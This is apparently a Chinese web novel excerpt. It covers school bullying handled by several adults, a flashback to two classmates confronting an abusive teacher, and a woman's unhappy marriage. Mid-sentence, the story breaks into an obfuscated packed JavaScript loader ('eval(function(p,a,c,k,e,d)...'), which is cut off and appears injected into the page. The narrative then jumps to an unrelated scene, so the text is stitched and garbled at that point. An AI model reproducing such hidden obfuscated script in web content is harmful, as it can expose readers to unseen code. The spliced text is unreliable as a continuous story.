阿齐回家路上一直懊恼,觉得自己软弱,不敢给婷婷发消息。路过石桥时,他碰到尤敏。尤敏和他打招呼,看他魂不守舍的样子,笑着说他再这样走要掉河里了。阿齐忍不住哭着说了下午的遭遇,要尤敏联系一下婷婷,看她怎么样了。尤敏惊得不知道说什么,陪阿齐到他家附近后,立刻给婷婷打电话。婷婷一直带着哭腔说着话,尤敏问要不要去婷婷家陪她,婷婷回她没关系,已把门锁好,明天再联系。 晚上,尤敏觉得必须寻求大人帮助,有些事仅凭她们解决不了。她给表姐石唯打了电话。 赵秋和石唯大概了解清楚了情况之后,安慰了婷婷,说她真的非常勇敢,不是她的错,有些事情必须要大人出面才能解决的——并不是看不起她们,觉得她们是孩子,而是有些事情需要大人来负责,去提供支持和帮助,大家一起解决问题。 尤敏问石唯能否留下陪婷婷,晚上婷婷的家人还是在外地不能回来,赵秋考虑到了石唯,说自己可以和石唯一起留下。两人商量了后,决定周一去学校找老师,还分别请了半天假,并劝说婷婷这个事情还是要和家人讲一下,可婷婷还是不太愿意。赵秋给杜雨发消息说晚上不回家,杜雨便去父母那边吃饭留宿了。赵秋又给婷婷妈妈发微信简述情况,对方因还需几天才能回来,弟弟也在出差,便麻烦赵秋帮忙代她去学校和老师沟通。 周一上午,赵秋和石唯去了学校。赵秋去找婷婷班主任,说明自己是婷婷房东,因监护人出差,受监护人委托和朋友一同前来处理事宜。 办公室里有师嘀咕着“又来了”,是看着石唯说的——上次尤敏被班级男生言语侮辱,也是石唯来找老师沟通的。 班主任叫来了“瘟神”同学小李,并联系了其家长。不久,又有家长来了:不是小李同学家的,而是阿齐的班主任带着阿齐妈妈和一位女士一起进来。那位女士看到石唯略显意外,很快恢复常态,嘴角微提,对石唯点了头示意,石唯也回点了下头。 众人交流情况后,一起等待小李同学的家长。 小李同学的妈妈随后赶过来了,不停地赔礼道歉,而小李同学态度无所谓,与妈妈似乎不太亲近。 石唯要求小李同学把那几个KTV同行伙伴交代清楚,说清楚对方是学生还是社会人员,同时提出让婷婷的班主任把班级里带头言语讥讽婷婷的女生家长也叫到学校来。小李说那几个同行男生是隔壁职高的学生。而班主任对石唯要求找女孩家长的提议,称:“那个女孩成绩也蛮好的,和婷婷就是同学间口角而已。” 石唯没说什么,拿出手机,把昨晚截的婷婷被骂的帖子翻出来给班主任看。班主任不作声了。 一旁的年段主任打圆场,称她们也不是婷婷的家长,“差不多就行了,就是女孩子间的言语小摩擦”。 杨锦姿说话了:“照您这么说,监护人委托不作数啰?别人爷和娘不来,就是家长不重视,家长不重视,那就差不多糊弄是吧?” 年段主任回自己没有这个意思,称这位家长说这话就“太敏感了”。 “自己想粗枝大叶地糊弄过去,就别扯敏感不敏感哦,把事情解决好最紧要。您觉得孩子家长没来,过一会就来了。”杨锦姿说完哼了声,把头扭到一边。 在这边强硬要求,那边班主任就去打电话了。 过了十来分钟,梁挥急匆匆地赶过来了,进来看到这么些人,着实愣了一下。随后,带头排挤婷婷的女生刘苗的妈妈也来了。 上午半天,办公室里热闹得堪比乡下露天唱花鼓戏。事情算勉强解决了。刘苗被老师批评的时候还一直抹眼泪。她妈妈说家里其实管得蛮严格的,孩子很乖从来不说脏话,表示之后会控制她玩游戏时间的,顺带着责备了两句刘苗:“就是玩游戏,心思不在学习上,才会搞出这些事!” 小李的家庭情况有点特殊。他哥哥车祸后植物人状态两年了,家里没放弃,大多时候由小李母亲在省城医院照顾。小李爸爸在家和小李住一起,也不知道这当爸的是怎么回事,根本没有关心孩子心理变化,也没有细心照顾和及时管教孩子,任由孩子胡来。 阿齐被打和被擂肥,他的表姨和妈妈接受了小李爸爸的道歉,并表示“有下次绝不经过学校,会直接报警追究到底,并保留向上投诉的权利” 小李被记大过、罚写检讨;刘苗被言语训诫、记小过。赵秋提出要求校长在场,让涉事学生公开道歉,并开展相关主题班会。班主听后任面露难色,年段主任则强调:“临近月考,应以正事为重。” “书都读到狗肚子里去了,也不见得有几个人像人样,还‘正事’。再这样学下去人都不是了,都要变成机器人了,还‘正事’,‘正事’是考试?”杨锦姿笑笑出门去。 赵秋和石唯这边算是结束了。人家孩子自己家长也到了,职校那边找人讨公道她俩就不掺和了。 在办公室门口,梁挥忍不住小声说了婷婷:“我早就跟你说过,不要有谈恋爱的心思,你看现在!昨天为什么不给我打电话,也不告诉你妈妈?你自己一个人又解决不了,为什么不信任家人?” 婷婷被梁挥这样一讲气哭了。 “你可闭嘴吧!”杨锦姿横了眼梁挥,“跟谈恋爱不搭边的事。有时间装长辈样子训人,不如多了解娃在学校是什么情况。还问为什么不信任家人,你这大爷样子信任你还有鬼了,你能帮什么?搞不清楚情况就怪人,告诉你还不如告诉外人靠谱,至少别人真帮了忙。” 孩子们回教室后,家长们也散了。都是请假来学校的,谁不要赶回去返工揾食呢?赵秋和石唯准备离开。石唯朝杨锦姿点头示意,杨锦姿回以点头。 倒是梁挥很不自在,喊住赵秋:“赵小姐,今次麻烦你了。额……我开车送你们吧。” “没事,不用麻烦你了。小孩子的事是大事。你们以后多关心孩子。我们骑电动车来的。对了,我是石唯的姐姐。”赵秋说完便拉着石唯走了。 路上,两人无言。 “现在的小孩和以前有区别,又没有太大区别。”赵秋踢了下路上的石子。 “是呢,还是小团体排挤、造谣、贴吧乱写。”石唯叹道,“我老记得我们在四中高二那年,学校贴吧有人传了一张同学在学校上厕所的照片,不知道是哪个高中的,在各所中学的贴吧传遍了。多是起哄的、攻击照片里当事人,少少的人说不应该传播,没有人批评上传者无耻,也没有人指责转发者无知。我当时想着,要是当事人是我,我该怎么办,都不知道向谁寻求帮助。听说那同学受不了这些铺天盖地的议论、指责还有谣言,退学了。这事想起来就让人难过,怎么也不该是她承受这一切。” 赵秋挽住了石唯的胳膊,石唯笑道:“我们现在要返工。” “小时候都是看TVB的嘛——好中意有工作,冇勇气不做工。”赵秋笑起来,石唯笑着把头靠在赵秋肩上。 好像什么都没有变。 附近在修路,城南的新楼盘还是一个接一个建着,一切是那么旧又这么新,这地方在无纺布上堆起了座座金山。 石唯指着小区门口的苦楝树说:“苦楝花都开了,春天要结束了。” 苦楝树开花,一小团一小团浅紫色的浓雾分散开来,撑满了一树。 赵秋回她:“不止苦楝树,洋槐花最近也都开了。今年气温高,花开早,春天是该结束了。” 两人到小区取电动车时,赵秋发现石唯的粉色头盔盖前挡风罩裂了。 她还是问了石唯:“是他吗?” “嗯。阿齐的表姨……是他前妻。”石唯戴好了头盔,那道裂痕从视觉上把她的脸“劈”成两半。 赵秋细心地帮她掀起挡风罩:“咱们都是大近视,罩子就不要放下来啦,免得挡住视线。安全第一,咱们健健康康、开开心心活到百岁。” 复州真是个小地方。 前一日,杨锦姿从夏口来复州帮朋友筹备英语培训机构,她下午抽时间去了表姐家。阿齐回家的时候,状态明显不好,他妈妈只是责备他没礼貌怎么没有叫人,也不和小姨打招呼。杨锦姿看出了不对,要表姐停下别说了,她过去问阿齐有没有遇到什么事情,需要她帮助可以说。阿齐本来想撑着说没什么,杨锦姿耐心温和地和他沟通了一下,他还是选择相信小姨,都说了。 阿齐妈妈一直责怪阿齐,问他为什么不还手,骂他像他爸爸一样懦弱。阿齐觉得自己很无耻,他很羞愧,想着自己为什么当时那么害怕,手机被抢过去,那些人用自己的账号把婷婷骗过来,自己害了婷婷。阿齐流着眼泪吼出声来,他妈妈骂他骂得更凶了。 杨锦姿再次制止了表姐,她安抚好阿齐,承诺第二天会和他妈妈一起去学校帮助他面对,一起解决问题。之后,杨锦姿要阿齐回房好好休息。 表姐像有无数苦要诉,生怕房间里的阿齐听不到一样,大声说着自己的不容易和阿齐的不省心。 杨锦姿安抚着表姐说道:“姐夫常年在外地工作,你一个人这么多年带阿齐真的很辛苦,家里都知道的。阿齐不是什么多坏的孩子,他本性善良。” 阿齐妈妈哭着回道:“他但凡心疼我辛苦,就不会在他妈欺负我娘俩的时候不作声。孩子奶奶一天都没帮我带过娃,还讽刺我是吃闲饭的靠她儿子养。我没指望儿子多有出息,我也不想他到处撩是惹非让我更心寒。” 杨锦姿从茶几上抽了纸,一边给表姐擦眼泪一边说:“阿齐不是撩是惹非,这是被欺负了,被擂肥了啊!我们做家人的不关心帮助他,谁还会支持他。不能把小孩推开了,心要是推远了,以后都难回来的。” 表姐停止了抽泣,抬眼问杨锦姿该怎么办。 杨锦姿说:“明天我空的,你也不要怕麻烦我。我和你一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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杨锦姿停下脚步,转头看着梁挥说道:“你还晓得幸好,那就多关心家里小孩。自己的事情搞得乱七八糟,有那么多爱和精力无处发散就多对家里孩子好。不要总是自以为是去说教,居高临下地指点小孩。你不听小孩说了什么,等孩子真遇到事情,那他宁愿死在外面也不会求心不在一起的家人的帮助。我和你没什么好说的。” “对了,我还要说的是,小孩和大人不同——小孩就是要依靠大人才能好好生活,每天上学还是同样的人群和环境,跟《恐怖游轮》一样。有几个小孩敢和家里说‘不要上学’?这逃不掉的。同学关系,就是孩子们面对的主要社会关系和人际交往,你大人看上去觉得无所谓的事在小孩的处境就是天塌了的事。后续婷婷如果适应不了,或者实在厌恶那个学习环境,真到了需要转学的那一步,转到夏口我可以帮忙。或者转到江城市区我也可以想办法。”杨锦姿说完就走了。 这天梁挥接婷婷下晚自习后,郑重地向婷婷道歉了。婷婷应承他,以后有事一定会寻求他的帮助。因为之前梁挥怕婷婷谈恋爱说了她,她和梁挥起争执后一直没怎么好好和他说话,所以这次她也是怕舅舅责怪自己不敢打电话他。梁挥则表示很抱歉没有多关心婷婷,什么都没了解就责怪她,也不知道她在学校被孤立和言语霸凌,他再次向婷婷道歉了。 回住处的路上,梁挥开着车窗。风吹过来洋槐花的清香,容不得他拒绝。去年这个时候,他和石唯在家里折腾着洋槐花,他照着搜集的印度串茉莉花串的资料做了槐花手串还有槐花簪花;石唯照着分享菜谱的社交软件里的方子做了蒸槐花。那时候,他们俩像两个抓住小猫一样的春天尾巴的小朋友一样快乐,不过春天小猫三下两下就用后腿蹬开了他们。 梁挥不想上楼,他在楼下的车里闭眼靠着。 梁挥和石唯是初中同学。他是初三下学期插班过来的——别的学校不收,他家里没办法。刚好他姨妈在十八中教日语资历也老,姨妈费心了。 那天早读课梁挥放下啃了一半的欢喜坨(麻团的本地称呼),有一搭没一搭地读着课文。他只觉得整个教室闹哄哄的——他讨厌这些声音,更恶心自己也装着的声音。石唯又迟到了几分钟,被班主任罚在门口做俯卧撑。梁挥从窗外望去,那女孩做完站起来脸上完全就是不服气和对“巴士”的厌恶。 班主任后来有事走了,教室里还是很吵闹,松懈下来的同学们叽叽喳喳讲起话来。梁挥看到那女孩瞄了瞄教室外面,然后她马上把书包里的几份早点拿出来,分别递给几个住校的同学,说了些什么。回到自己座位后,她也不安分,悄悄对她同桌说了什么——同桌马上回头跟后桌两个同学讲,最后四个人一起哈哈大笑起来。 那女孩每次笑,都是两只手捂住嘴。梁挥的前桌男生朝那边看了一眼,然后对同桌说:“石唯每次都这样笑,有什么好捂嘴的,不怕别人说她装吗?”梁挥觉得搞笑:想怎么笑是个人自由,人家还给你带了猪油锅盔呢,说这话真好意思!他又看了一眼那女孩,想起每次晚自习放学她都是脖子上挂一串钥匙,走路像要跳起来似的往前冲——有天还撞上了忘带MP3、返回教室的自己;他也笑起来,想到那天石唯走路跟跳一样,肯定经常熬夜还有黑眼圈,简直是“乌眼青兔子”。他拿起桌上剩下的欢喜坨啃完,想着:乌眼青才应该叫欢喜坨——每天那么开心,还看起来有力气,不嫌累么? 梁挥刚插班进来时,就很讨厌这个班主任——班主任总是居高临下讲大道理。梁挥发现同学们私下都叫班主任“巴士”让他不解,前桌男生告诉他,都是那个石唯起的头。之前下雨天,几个同学在学校对面等一辆小汽车过了才过马路,怕被水溅到。结果班主任也在,马上去批评他们:“过个马路都慢吞吞的不知道争分夺秒回教室学习,看来是想吃汽车尾气!”石唯私下说:“班主任比汽车尾气恶心多了。”附和的同学说:“以后就喊他‘汽车尾气’!”石唯说:“班主任那么喜欢抱怨,已经升级到‘巴士尾气’了!”大家喊着喊着就简化成“巴士”了。 那天上课,班主任在嘲讽成绩差的几个同学,甚至到了人身攻击的程度。大家习惯了就当他“放尾气”,可石唯坐不住了。她站起来,和巴士有来有回争了半天,最后巴士放话:“要么闭嘴,要么死出去!”下课了有人问她为什么管闲事,石唯说:“我也不晓得。”巴士放尾气不是第一次了,这次太过分——人家成绩不好又没有犯法,他还攻击人家父母、贬损同学的人格,真的很没德行! 因为梁挥姨妈的关系,班主任偶尔来梁挥座位看看,不打招呼就翻开他的课本之类的然后开始假模假样说教。梁挥很厌恶,他总是沉默没表情,心想:我当我的活死人,你爱怎么样就怎么样。那天班主任又整这一出后,梁挥听到石唯的同桌说:“新同学好没礼貌。”梁挥想着,原来一个月了自己还是“新同学”啊!接着听到石唯对她同桌说:“是班主任先不尊重人——每次都先入为主觉得梁挥是坏学生,还没说话就先翻人家本子,接着就开始自以为是说教,梁挥难道还要笑着接受?” 梁挥和石唯也许就这样到毕业也不会有交流。直到有一天,巴士一天整了好几出。巴士走后,梁挥忍无可忍骂了一句很脏的话。石唯隔了三排回头:“梁挥,你怎么这样讲话?”梁挥很气,想着这乌眼小兔真是的——前几天还帮我说话呢,还是压低了声音回了她,“因为他就是我说的这样。”石唯转过头,不再说什么。 某天,石唯从办公室出来进教室,满脸怒气地用手把眼泪抹开。回到座位后没几分钟,她开始和周围同学说起这事。梁挥听到是这样的:晚自习时,巴士把石唯叫到办公室,批评了她很久,苦口婆心地劝诫她“打起精神来,学习退步了会很难”,石唯没想到老师还是有公正客观关心同学的一面,甚至流下了惭愧的泪水,有一丝丝感动,结果巴士顺势摸了她的手。石唯把手抽掉,踢开办公桌旁边离她最近的板凳,愤怒地回了班级。她想不通:人怎么能这么无耻?以前听高年级的师姐说过,要当心只教毕业班的那个语文老师——他很喜欢打擦边球,对女同学没边界。现在上初三了,平时同学们也很注意,没想到真这么恶心。石唯觉得要说出来,不然他敢对其他同学也这样。 石唯和周围同学说这事的时候,梁挥的前桌男生又说话了:“石唯,你不要说了,对你和老师都不好。”石唯生气反驳:“他敢摸我的手,就敢摸全班每一个人的手!说出来对我有什么不好?又不是我到处摸别人的手!我偏要说,老子到处说!” 下晚自习后,梁挥路过学校自行车棚,看到石唯蹲在地上,用钥匙开她自行车的锁——费力扒拉了半天才解开。她过了一会才站起来,把锁丢到车篓子里,那串钥匙继续挂脖子上。梁挥看到石唯又抹了下眼,之后就像没事了一样推车出来。他没有走,在车棚外面香樟树边等着她。石唯看到他有点惊讶,他丢了包纸巾到石唯车篓子里,说:“骑车注意安全。”她顿了顿,对梁挥说:“巴士就是你说的那样的。” 石唯推着车,梁挥陪她走到校门口。梁挥刚准备开口说什么,石唯先说:“没关系。”梁挥回:“没关系,我们到处说。”石唯笑起来:“是‘老子到处说’!”两人一起大笑起来。 只同窗半年,也不算熟悉,毕业就没有了交集。其实算有一次,梁挥高中是在夏口读的,一个周末来复州看外公外婆,他去老街转了转,顺便到江滩逛了逛。那个女孩穿着白色的无袖长裙,她又剪短了些的头发被江风吹得像野草。她还是像个“欢喜坨”,兴奋地和她的同伴讲着什么。她们坐轮渡去了江对岸——对了,她还是把钥匙挂在脖子上。 每次想起,都会让人发笑,甚至觉得那串挂脖子上的钥匙都很有趣。那天只看到她的侧脸和背影,不知道她还熬夜吗?要是这样就是白色的乌眼青兔籽了——不知道有没有这品种的兔子。 梁挥不再想,思绪从中学的暑假回来。他觉得自己真傻——明明经历过,为什么会条件反射般先责备婷婷?他只知道自己以后要对这孩子好一点,更好一点。 6. 桑葚果酱 距离上次见面过了三周,赵秋在周六晚上约石唯周日见面,早上一起过早。 周日早上,赵秋早早到了新开的馄饨店。石唯这个满级路痴,导航一直导不到地方,打电话给赵秋。由于石唯分不清东南西北,赵秋只能给她说前后左右,要石唯从状元桥下走,过了状元桥前面的大路右转,有条行道,两旁的行道树全是枫杨,现在都挂着一串串果,很好认——这条路走到尽头,左转进巷子就好,有个新开的馄饨店。 石唯别的不一定认得,各种花草树木还是熟悉的。看到枫杨树,人都自信了些,双脚提起速来。 到了店里,赵秋招呼石唯坐下,她给石唯一个帆布袋,里面有六瓶她自己做的桑葚果酱。尔后,两人都点了泡泡小馄饨。店子新开,又是巷子里,没什么客人。赵秋知道石唯喜欢吃馄饨,那天办事路过这边看到这家新店就记下来了,一直忙没联系石唯,今次空了才约她。 “菜单上写的‘宣堡小馄饨’就是这泡泡馄饨?宣堡是地名吗?”石唯嘀咕着。 “是地名,老板太太是和宣堡一个市的。你觉得这小馄饨怎么样?”赵秋回她。 “好看又好吃,难怪还叫泡泡馄饨,一个个胖乎乎像小泡泡浮起来。”石唯吹了吹调羹里的馄饨,咬了口。 加了猪油的白汤底,汤面上漂着嫩绿的葱花,又透又鼓的小馄饨浮着。加辣油、胡椒粉或醋就看客人自己的意思了。 “馄饨都好吃,我们本地的包面好吃,西南的抄手好吃,这个泡泡小馄饨也好吃。”石唯往碗里又加了点醋。 赵秋被她逗笑了,说道:“唯,这店里还有荠菜大馄饨和豇豆大馄饨。我感觉小馄饨你不够吃,大的你可能都想吃,给你来碗双拼?” 石唯假装不好意思地说:“呀,你怎么这样嘛。对,我还想吃!” 两人一起笑起来。赵秋找老板加了份大馄饨,还给石唯拿了块粢饭糕。店老板是对年轻夫妻,女主人皮肤白、面色粉,像糯米糍,笑眼弯弯似道桥,笑容像糯米糍的甜蜜夹心让人放松;男主人也爱笑,干活麻利,店里很整洁,他随时用白抹布把台面擦得干干净净。俩人忙碌的间隙不时笑着说些话。做早餐生意好辛苦的,他俩都是爽朗的勤快人。 石唯连吃了好几个豇豆大馄饨,她以前没吃过这馅儿的,感觉真不错。她见赵秋默默看着老板夫妻俩,说道:“到这样的店里过早,人都能变开心是不是?” “好羡慕这样的夫妻。” “嗯?” “有话说的夫妻。”赵秋抬起头,看了眼石唯又低下头看着碗,她把调羹放下,小馄饨她也没吃多少。 吃完早饭她俩就沿着枫杨树行道散步。道路窄,两旁的枫杨树大,长长的枝干延伸开来,明明隔着路,两旁的枫杨似乎有要握住手的愿力,共沐风雨。住在附近的居民调侃这些枫杨都成精了,是要做“夫妻树”。枫杨的果子很美,一串串挂在枝上,这一路望去,像翠色帘幕。 石唯提起赵秋婚礼那天,酒店婚礼堂是用一串串仿真紫藤花装饰的。她问:“现在这枫杨果子挂满树,是不是不很像那种装饰氛围?” 赵秋并没多看一眼两旁的枫杨,只是“嗯”了声。石唯察觉到赵秋的沉默,一直是自己在说不停,赵秋偶尔被自己逗笑也是不出声的。 “要不去我房子里?”赵秋问石唯。 “那我买点东西,哪有空手去别人家的。”石唯转身要往对面水果店跑。 赵秋拉住她,说道:“我们俩就别这样了。是十四中那边的房子,就我自己,不是鹊桥路那边。梁小姐和她弟弟给孩子办了转学手续,那孩子去江城念书了。房子空出来,我前两天收拾好了。” 那年赵秋妹妹考上了十四中。中考录取通知书下来后,她妈妈江群很开心。赵秋晚上回家就被通知妈妈和妹妹要去住她那边的房子,江群边工作边照顾妹妹生活起居。赵秋什么也没说,把钥匙给了妈妈。妹妹考上大学后,房子就继续出租。梁小姐和她的小孩住了快两年了。 石唯靠在沙发上。赵秋洗好水果,从冰箱里拿了啤酒,放茶几上后就坐到石唯旁边。 “楼下新开的超市里买的精酿。说是精酿但蛮便宜的,不知道好不好喝。伍迪商超倒闭后,感觉买东西都不方便,大超市就那么几个,小超市里商品又良莠不齐。”赵秋指着啤酒说道。 “伍迪倒闭快两年了?几十家超市说关就关了,真没想到。”石唯感叹着。 “谁能想到呢?谁知道明天会发生什么?大多事情都是事与愿违吧。”赵秋起身去餐边柜拿了一对杯子过来。 这对雕刻图案像烟花的水晶杯子是石唯送给赵秋的。那年石唯和上司去北方布展,展会上有个展位是出口的各式杯子,石唯挑了这一对浅紫色的。赵秋喜欢浅紫色。 那时候赵秋“骂”石唯:“你花这冤枉钱干嘛呢?” 石唯说道:“高考完我们去逛商场,你看家居那边的水晶玻璃花瓶好漂亮,一对快结婚的年轻人买了那个紫色水晶雕刻花瓶。你不是说你结婚也要买这种花瓶吗?我这是凑巧了嘛,逛展看到了这水晶杯。水晶花瓶展会上也有,太贵了,但杯子我还是能买得起。” “你真是花冤枉钱,怎么不给自己花哦!老记得些那么久的事情。”赵秋轻抚着礼盒里的杯子,心疼地看着石唯。 “哎呀,本来人家死活不给我礼盒,说就是参展样品卖一卖,要什么礼盒。我用不标准的普通话和对面正经北方官话磨了半天。她说我不分前后鼻音,嗡得她脑壳痛,可能是受不了我叽叽喳喳的普通话,给了礼盒我。”石唯回道,赵秋被逗乐了。 赵秋想的是,这个杯子她就和石唯一人一只。石唯说,那当初是说结婚也想有水晶花瓶,那水晶杯子你就和爱人一起用吧。 “嗯?你怎么把这个杯子带到这边来了。”石唯问道。 “这边才是属于它的地方。杯子都没用过。他不喜欢这个杯子,觉得太夸张。不说杯子,你送的那对鸭子,就是你误以为是鸳鸯的,我也从我妈家带过来了。”说着赵秋指了客厅角落小书柜,鸭子摆在顶上。 赵秋倒着酒,自己拿了一杯,推了一杯到石唯那边。 “你喝了酒待会不能开车回去吧?等一下,你是已经到这边住了吗?”石唯看了眼书柜,又扫了眼厨房那边——她想,赵秋这是搬过来了,发生什么事了? 这时快递到了。赵秋开门取进来,是她在网上给自己订的鲜切花。她搬着长纸盒去厨房那边,石唯想去帮忙,赵秋就拜托石唯帮忙去书房抱两个花瓶出来。 她们没多久就处理好了花材:玫瑰去刺、草花剥去叶子。一瓶混合搭配的花放在了餐桌上,一瓶玫瑰放在了茶几。 靠在沙发上,石唯觉得有点热。赵秋去开空调,发现这次空调是真坏了,转头去书房找出来小纸箱封着的电风扇。电风扇有点老旧,旋转起来的噪声有点大。 两人沉默了一会。 “我有段时间早上起床发现口干舌燥特别难受。我想着我是口呼吸吗?就用了睡眠监测软件。哎呀,不测不知道,一测吓一跳,我那个鼾声啊……我怎么也没想到我居然打鼾,而且鼾声比我爸的鼾声还大。要知道我睡觉是天打雷劈都不醒的人呐,小时候还是会被我爸隔了两个房间的鼾声劈醒。我的鼾声是切割机一样的声音——装修队切割瓷砖的那种声音。我那天缓了好一会儿才接受这个事实,不过还是没勇气去医院挂个睡眠呼吸科。这个电风扇比我的切割机鼾声还要大。空调修好了,还是要备个静音电风扇。念书的时候你最讨厌噪音了。”石唯靠着沙发靠背,头仰着朝天,有气无力地说着。 “你这个转折是要笑死我吗?好了,这个电风扇从此有了姓名,接受石小姐赐名‘切割机2号’吧。”赵秋笑到侧躺在沙发上。笑完又是一阵沉默。 石唯看着茶几上那瓶“桥边之约”玫瑰切花,不知所措。片刻安静后,赵秋躺着闭着眼睛,低声说:“我好想睡一个整觉。每天晚上都是多梦少眠,我好累。我真的好累。” 石唯把靠枕递到赵秋头旁边,轻轻拍了她的肩两下。 赵秋是在一次爬山中遇到的杜雨。 工作的第三年,繁杂的事务让她疲惫不堪,她总是掉头发:洗头发的时候一抓可以薅下来一大把;睡觉醒来,枕巾上又是混乱的落发。这种状况让她很焦心。她和妈妈江群讲了这个状况,江群只是回她:“谁不落头发,不要七想八想。”她甚至想到要不要去找老街老字号的药铺瞧一瞧,让中药铺熬些膏滋给她。 城中到处是挂着“熬膏滋”字样招牌的中医铺子,他们生意兴隆,店里挤满失意和恐慌的人们。从小听到周围人谁有个头疼脑热迟迟不好,就有热心人会向那人推荐“吃点膏滋”,也不知道热心人是出于笃定还是出于投机才这样。中药铺子仿佛有一道神奇之门,用独门秘法“膏滋”带你通往健康之路。 赵秋一向对这些不太感兴趣。她没想到也会有一天,看到自己那骇人的落发,想到“要不要去熬点膏滋”。卫生间地面的落发像一团团漩涡,她不想再被卷走健康,她已经被工作卷走了太多平静和睡眠。 她向江群询问,是否大姑妈以前有看过靠谱中医。江群回是她记岔了,大姑妈那苦哈哈过日子的人,哪里舍得去熬膏子?硬熬硬挺,眼睛一闭一睁又过一天。之前睡眠不好看中医的是小姑妈,小姑妈在江陵看的。江群劝赵秋:“算了吧,总不至于跑去江陵找小姑妈带去相熟的老中医那儿,太远,会耽误工作。” 赵秋妹妹赵锦程是晚自习下课回来,听到了妈妈和姐姐的谈话。洗漱完毕后,她敲了赵秋的房门。 “姐姐,我回来听到你们讲的话了。我有个同学的爸爸说是吃膏滋,医生说可以补气血、调理好肾气,结果后来好像因为长期吃中药,肝肾功能有点问题了。具体我也不太晓得,我同学对我说的也不是很过细。你要不要先去人民医院看一下,再考虑看中医抓药熬膏滋?”赵程锦坐在床边看着赵秋,她双手放在并在一起的膝盖上,有点不安地用手指上下拍打着。 “没关系,我知道了。谢谢你,不用担心我,我身体没什么大问题的。”赵秋从梳妆台椅子上起来。过来坐到床边,两只手握住妹妹的手。 去市一人民医院看医生时,赵秋很麻木。脱发是要解决的一个健康问题,自己的问题好像不止脱发,这样看,脱发反而是最容易面对的问题。各种检查做完后,医生说其实各项指标没有什么问题,问了她食欲后,有隐约暗示她可能是“心情”问题。回去的路上,她突然反应过来:医生的意思是说我有心理问题?精神太紧绷了吗? 赵秋申请了几天年假,过程麻烦了些,但是假顺利批下来了。她是上了高铁后,才发讯息告知江群自己去吴州几天。江群打电话过来很生气,怪她怎么不提前和家里讲,好端端怎么这时候请年假,她实在听不下去了,觉得再听下去自己都头发要掉光了,便推说高铁上信号不好,挂了电话。 那天,赵秋专程去了吴州的一个古镇——小时候看过一部叫《水月洞天》的电视剧在那边拍了不少场景,赵秋小时候就喜欢那里的庭院景色。逛完后,她去了附近的一家面馆吃午饭,食欲难得好了一次:吃的是爆鱼面,又加了鳝鱼浇头。这边的鳝鱼和自己家那边常捶平爆炒的做法不一样,是过油的鳝丝,胡椒味浓郁。她吃出滋味来了,又点了块厚厚的炸猪排,猪排酥香脆爽。她很久没有好好吃饭了,以前到饭点的时候总是很厌弃——或许不是厌弃吃饭,是厌弃一切。 吃完去公交站台那边,发现停车牌上有个熟悉的地名,恍然大悟:原来这座小山在这边啊!石唯曾对赵秋说过,自己心情不好就会周末去爬一座小山。那小山风景优美,有很多美丽的枫树,十一月来,能看到金光灿烂秋天。更重要的是,小山只有两百多米,爬起来不费太多体力。那时候听石唯颇有兴致地聊着这座山,赵秋对爬山不怎么感兴趣,只是疑惑:“太平山不是在港城么?”石唯一个字一个字蹦出来又讲了一遍,赵秋回过神——两座山一字之差。这会儿看到停车牌,距离也不远,她果断决定搭车去爬那座小山。 到了之后,赵秋很喜欢这座山的环境,她似乎理解石唯为什么心情不好就要过来这儿爬山。还是工作日,几乎没人,让她有种“这地头是我私有”的错觉,独拥美景,很是满足。只是,天公那天的心情也不算好,爬了不到三分之一,天色就阴得吓人,没一会就狂风骤雨。赵秋慌忙地掏出手袋里的阳伞——本来是为天热遮阳准备的,没成想吴州的天气和家那边一样呛人。她顶着大风努力撑起伞,想着就是打着伞也要爬完山,结果风太大,她一手举伞、一手提手袋,手一滑,装得满满当当的手袋脱手滑下去了。 在阶梯下面的杜雨看着滑到自己脚边的手袋,抿嘴憋笑,最后忍不住了,他向上望着赵秋说:“额,你好,你的伞鼓起喇叭了。” 赵秋的眼镜镜片被雨水糊得像喷了层糖霜,更烦躁了,心想:哪来的怪人,自己的伞被吹翻了我能不晓得,还用他讲?她皱着眉说道:“风这么大,伞被吹翻不是很正常吗?哪里好笑了?”说完看了眼在杜雨脚边自己的包。 杜雨见状,马上捡起手袋:他头歪向一边,头贴着肩膀夹住伞柄,一只手拿着包,另一只手抹了抹包上的泥水;又想起什么似的,从口袋掏出手帕,仔细擦了擦。他抬眼对赵秋说:“我不是笑你伞翻了,我是想提醒你雨水都打在身上了。我笑是因你的包掉下来的时候,像《猫和老鼠》里面的Tom一样,‘哒哒哒哒’一阶阶弹下来,就是汤姆被杰瑞欺负,在楼梯上屁股坐着弹簧一样掉下去。”他笑着往上走到赵秋那边,把包递给她。 赵秋接过包,忍不住笑了——不是笑自己的包被说成倒霉的汤姆猫,是杜雨头贴着肩夹着伞的样子有点滑稽。她带着展开的眉头和笑容说:“你现在很像匹诺曹。”杜雨笑着,恢复了手拿伞的姿势,扭了扭脖子说:“也不怎么僵嘛,你看我骨骼都没有响,不像木偶,不像。”说罢,递了赵秋一张纸巾。赵秋笑着接过道谢,开始在“匹诺曹”状态下擦自己的眼镜镜片。杜雨看着头贴肩夹伞的赵秋,抿嘴憋笑,憋到脸上出了酒窝。 杜雨建议赵秋下山:“山不高,但风雨实在大,这座山枫叶季的风景更动人,可以下次再来,这次就安全第一,先下山稳妥些。”于是,他俩一起下山了。 等公交车时,赵秋盯着站台后不远处的一棵桑树。杜雨看到问她:“你喜欢桑枣儿?雨太大,不好摘呢。” “你们那边也叫桑枣?我蛮喜欢吃的,熟的很甜,不太熟的、粉色将将带点紫色的也好吃——酸甜。”赵秋说道。 “我们那边不叫‘桑葚’,方言喊‘桑枣’。我更喜欢用它做果酱,老家乡下亲友知道我好这个,每年夏天给我不要太多哦!”杜雨笑着回。 俩人一起坐了段公交,赵秋先下车了。目的地不同,他们友好地告别。 在吴州那三天,赵秋胃口很好,吃了很多次鳝鱼面——她爱吃鳝鱼,也爱江南这边不同于家乡对鳝鱼的烧法。她没去热门的景点,只是随意逛吃,还特地去石唯曾提过的诚品书店,挑了几本书。这三天是难得的浮生闲时,她好久没有好好休息,也好久没有外出走走了。 赵秋回到家后,江群好几天没理她。 